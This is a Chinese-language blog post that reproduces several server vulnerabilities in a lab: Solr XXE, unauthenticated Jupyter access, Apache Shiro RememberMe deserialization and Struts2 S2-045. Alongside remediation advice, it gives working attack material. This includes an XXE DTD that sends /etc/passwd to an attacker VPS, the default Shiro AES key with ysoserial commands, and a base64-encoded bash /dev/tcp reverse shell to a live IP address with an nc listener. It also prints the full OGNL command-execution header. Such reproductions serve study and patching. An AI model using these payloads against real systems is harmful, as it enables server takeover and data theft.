后端漏洞(下)
Apache HTTPD 2.4.48 mod_proxy SSRF漏洞(CVE-2021-40438)
漏洞概述 CVE-2021-40438 是 Apache HTTP Server(httpd)2.4.48 版本中 mod_proxy 模块存在的一个严重安全漏洞,属于服务端请求伪造(Server-Side Request Forgery, SSRF)类型。攻击者可利用该漏洞诱使服务器向内部网络或其他受信任的系统发起非预期的 HTTP 请求,从而绕过网络边界限制,探测内网服务、访问敏感接口,甚至在特定条件下实现远程代码执行。
漏洞成因
该漏洞源于 mod_proxy 模块在处理代理请求时,对用户提供的 URL 参数(特别是通过 ProxyPass 或反向代理配置中未严格校验的路径)缺乏充分的输入验证和规范化处理。当启用了通配符代理(如 ProxyPass / http://backend/)且未对目标地址进行严格限制时,攻击者可通过构造特殊的 URI 编码或路径遍历序列,绕过预期的代理目标限制,将请求重定向至任意服务器(包括本地回环地址 127.0.0.1 或内网 IP)。
影响范围
- Apache HTTP Server 2.4.48(仅此版本受影响)
- 启用了 mod_proxy 模块并配置了反向代理(尤其是使用通配符或动态代理路径)的服务器
复现

参考链接
Apache solr XXE漏洞(CVE-2017-12629)
漏洞概述
CVE-2017-12629 是 Apache Solr 7.1 及更早版本中存在的一个高危 XML 外部实体(XXE, XML External Entity)漏洞。该漏洞源于 Solr 在处理某些 XML 请求(如通过 /solr/admin/cores 接口创建或管理 Core)时,未对用户提交的 XML 输入进行安全解析,导致攻击者可构造恶意 XML 实体,触发 XXE 攻击。
利用该漏洞,攻击者可实现:
- 服务端请求伪造(SSRF):强制服务器向内网或外部系统发起 HTTP/DNS 请求;
- 任意文件读取:读取服务器本地敏感文件(如
/etc/passwd); - 在特定部署环境下,甚至可能造成远程代码执行(RCE)。
影响版本:Apache Solr ≤ 7.1(未启用安全配置)
修复版本:Apache Solr 7.2 及以上(默认禁用外部实体解析)
1. 复现环境中的 XXE 漏洞
在本地搭建的 Apache Solr 7.1 环境中,通过向管理接口发送包含恶意 DTD 的 XML 请求,可成功触发 XXE。如下图所示,攻击载荷被服务器解析并执行:
XXE 漏洞触发示意图

2. 利用 XXE 实现 SSRF(外带数据验证)
通过在 XML 中嵌入外部实体引用,可使 Solr 服务器主动向攻击者控制的 VPS 发起 HTTP 或 DNS 请求,从而验证漏洞存在性。
例如,构造如下 payload:
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://your-vps.com/evil.dtd">
%remote;
]>
<root/>
其中 evil.dtd 内容为:
<!ENTITY % payload SYSTEM "file:///etc/passwd">
<!ENTITY % exfil "<!ENTITY % send SYSTEM 'http://your-vps.com/?data=%payload;'>">
%exfil;
%send;
当 Solr 解析该 XML 时,会读取本地 /etc/passwd 并通过 HTTP GET 请求将内容外带至攻击者服务器。如下图所示,VPS 成功接收到请求,证明 SSRF 利用成功:
VPS 接收到 Solr 发起的 HTTP 请求

DNSLog 记录显示域名解析请求

3. 利用 XXE 读取本地敏感文件(如 /etc/passwd)
为便于接收回显数据,攻击者可在本地或 VPS 上启动一个简易 HTTP 服务器,用于托管 DTD 文件并接收外带数据:
# 启动 Python HTTP 服务器(端口 2333)
/usr/bin/python3.6 -m http.server 2333
随后,通过精心构造的 XXE 载荷,Solr 会读取服务器上的 /etc/passwd 文件,并将其内容作为参数发送至攻击者的 HTTP 服务。如下图所示,Python 服务器成功记录了包含 /etc/passwd 内容的请求:
Python HTTP 服务器接收到包含 /etc/passwd 的请求

安全建议
- 立即升级:将 Apache Solr 升级至 7.2 或更高版本,官方已在该版本中默认禁用外部实体解析。
- 限制管理接口访问:确保
/solr/admin/等敏感接口不对外网开放,建议通过防火墙或身份认证进行保护。 - 禁用不必要的 XML 解析:若业务无需 XML 输入,可考虑关闭相关解析器或使用安全的 XML 解析库(如禁用
DOCTYPE声明)。 - 监控异常外联行为:部署网络层监控,检测服务器异常的 DNS 或 HTTP 外联请求,及时发现潜在 XXE 攻击。
参考资料
- Apache Solr 官方安全公告
- NVD - CVE-2017-12629
- OWASP XXE 攻击指南:https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing
Jupyter Notebook 未授权访问漏洞
漏洞概述
Jupyter Notebook 是一个广泛用于数据科学和机器学习的开源 Web 应用,允许用户创建和共享包含代码、可视化和文本的文档。然而,当 Jupyter Notebook 服务未配置访问控制(如密码或令牌认证)并暴露在公网时,将导致严重的未授权访问漏洞。
攻击者可直接访问 Web 界面,创建 Notebook、执行任意 Python 代码,甚至通过调用系统命令实现服务器权限接管(RCE),危害极大。
风险等级:高危
典型场景:开发人员在云服务器上部署 Jupyter 用于调试,但未设置密码且监听0.0.0.0。
1. 复现环境中的未授权访问
在测试环境中,Jupyter Notebook 服务以默认配置启动(未设置密码,且绑定到所有接口),攻击者可直接通过浏览器访问其 Web 管理界面,无需任何身份验证。
如下图所示,成功打开 Jupyter 主页,可自由浏览文件、新建 Notebook:

2. 利用 Notebook 执行系统命令(任意代码执行)
由于 Jupyter Notebook 支持执行 Python 代码,攻击者可在新建的 Notebook 中调用 os、subprocess 等模块执行系统命令。例如,读取服务器敏感文件 /etc/passwd:
import os
print(os.popen('cat /etc/passwd').read())
执行后,成功返回系统用户信息,证明攻击者已获得服务器任意命令执行能力:

⚠️ 在具备更高权限的环境下,攻击者还可进一步上传 WebShell、横向移动或窃取数据。
安全加固建议
-
启用身份认证:
启动 Jupyter 时务必设置密码或启用令牌(token)认证。可通过以下命令生成配置文件并设置密码:jupyter notebook --generate-config jupyter notebook password -
限制监听地址:
避免绑定到0.0.0.0,仅监听本地回环地址(127.0.0.1),并通过 SSH 隧道访问:jupyter notebook --ip=127.0.0.1 --port=8888 -
禁止公网暴露:
若必须远程访问,建议通过反向代理(如 Nginx)配合 HTTPS 和 Basic Auth 进行保护,或使用内网穿透工具(如 frp + 认证)。 -
最小权限运行:
以非 root 用户身份运行 Jupyter 服务,限制其系统操作权限。 -
定期审计:
检查服务器是否意外暴露了 8888、8889 等常见 Jupyter 端口,可使用nmap或云安全中心进行扫描。
参考链接
- Jupyter 官方安全文档
- CWE-284: Improper Access Control
- Shodan 搜索关键词:
port:8888 "Jupyter"(常可发现大量未授权实例)
Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)
漏洞背景
CVE-2016-4437 是 Apache Shiro 框架中的一个高危反序列化漏洞。由于 Shiro 在用户认证过程中使用硬编码的 AES 密钥(或弱密钥)对“RememberMe”Cookie 进行加密和解密,攻击者可利用已知密钥(或通过爆破获取密钥)构造恶意的序列化 payload,实现任意代码执行(RCE)。
影响版本:Apache Shiro < 1.2.5
利用条件:目标系统启用了“RememberMe”功能,且使用了默认或可预测的加密密钥。
1. 复现环境中的反序列化漏洞利用
(1)生成恶意序列化 payload
使用 ysoserial 工具生成基于 CommonsBeanutils1 链的反序列化 payload,执行命令 touch /tmp/success:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "touch /tmp/success" > poc.ser
随后,对 poc.ser 文件使用 Apache Shiro 的默认密钥(如 kPH+bIxk5D2deZiIxcaaaA==)进行 AES 加密,并进行 Base64 编码,构造恶意的 rememberMe Cookie 值。
将该 Cookie 提交至目标应用,触发反序列化逻辑:
构造并提交恶意 RememberMe Cookie

发现请求成功返回,无报错
验证服务器是否执行命令:
ls /tmp/success
结果:

文件 /tmp/success 成功创建,证明反序列化 RCE 成功。
2. 进阶利用:反弹 Shell 获取交互式控制
为实现更深入的控制,构造反弹 Shell 命令:
bash -i >& /dev/tcp/47.109.111.193/2333 0>&1
为绕过部分命令过滤,对该命令进行 Base64 编码:
echo "bash -i >& /dev/tcp/47.109.111.193/2333 0>&1" | base64
# 输出:YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDkuMTExLjE5My8yMzMzIDA+JjE=
在 Linux 系统中,可通过如下方式执行 Base64 解码并运行:
bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDkuMTExLjE5My8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}'
使用 ysoserial 生成最终 payload:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 \
"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDkuMTExLjE5My8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}" \
> poc.ser
对 poc.ser 进行 AES 加密 + Base64 编码后,作为 rememberMe Cookie 提交:

在本地监听 2333 端口:
nc -lvnp 2333
成功获取目标服务器的交互式 Shell:
成功反弹 Shell,获得服务器控制权

安全加固建议
- 升级 Shiro 版本:升级至 1.2.5 或更高版本,官方已修复默认密钥问题。
- 使用强密钥:若必须使用 RememberMe 功能,务必配置高强度、随机生成的 AES 密钥。
- 禁用 RememberMe:如非必要,建议关闭“记住我”功能。
- 输入过滤与监控:部署 WAF 规则检测异常的
rememberMeCookie,监控反序列化异常日志。 - 最小权限原则:Web 应用应以低权限用户运行,限制攻击者横向移动能力。
参考资料
Struts2 S2-045远程代码执行漏洞(CVE-2017-5638)
漏洞概述
CVE-2017-5638(又称 Struts2 S2-045)是 Apache Struts2 框架中一个高危远程代码执行(RCE)漏洞。该漏洞源于 Struts2 在处理 Content-Type 请求头时,错误地将其作为 OGNL(Object-Graph Navigation Language)表达式进行解析,而未进行任何安全校验。
攻击者只需发送一个精心构造的 HTTP 请求,即可在目标服务器上执行任意系统命令,完全控制应用服务器。
影响版本:Struts 2.3.5 – Struts 2.3.31,Struts 2.5 – Struts 2.5.10
修复版本:Struts 2.3.32、2.5.10.1 及以上
风险等级:严重(CVSS 10.0)
1. 复现环境中的 OGNL 表达式注入
在测试环境中部署存在漏洞的 Struts2 应用(如 Struts 2.3.24)。攻击者通过在 HTTP 请求的 Content-Type 头中注入恶意 OGNL 表达式,触发漏洞。
例如,构造如下请求头:
Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
该 payload 会执行 whoami 命令并将结果返回至响应体。
如下图所示,请求成功返回当前系统用户(如 root 或 tomcat),证明 OGNL 注入与命令执行成功:
成功通过 Content-Type 注入 OGNL 表达式并执行 whoami
2. 利用漏洞读取敏感文件(如 pom.xml)
为进一步验证漏洞危害,攻击者可读取应用目录下的敏感配置文件。例如,读取当前 Web 应用根目录中的 pom.xml(Maven 项目配置文件,可能包含依赖、版本、插件等信息):
将上述 payload 中的 #cmd='whoami' 替换为:
#cmd='cat pom.xml'
发送请求后,服务器将 pom.xml 文件内容直接返回至 HTTP 响应体中。
如下图所示,成功获取到完整的 pom.xml 内容,暴露了项目结构与依赖信息:
通过 S2-045 成功读取 pom.xml 文件内容
💡 扩展利用:攻击者还可进一步读取
WEB-INF/web.xml、数据库配置、SSH 私钥等敏感文件,或直接写入 WebShell 实现持久化控制。
安全加固建议
- 立即升级:将 Struts2 框架升级至官方修复版本(2.3.32 / 2.5.10.1 或更高)。
- 临时缓解措施(如无法立即升级):
- 在 Web 服务器(如 Nginx、Apache)层面对
Content-Type头进行过滤,拒绝包含%{、${等可疑字符的请求; - 使用 WAF(Web 应用防火墙)规则拦截 OGNL 特征 payload。
- 在 Web 服务器(如 Nginx、Apache)层面对
- 最小权限运行:确保 Tomcat/Java 进程以非 root 用户运行,限制命令执行影响范围。
- 日志监控:审计 HTTP 请求头中的异常
Content-Type,及时发现攻击行为。
参考资料
- Apache Struts 官方公告 - S2-045
- NVD - CVE-2017-5638
- Exploit DB: https://www.exploit-db.com/exploits/41570
Comments
Leave a comment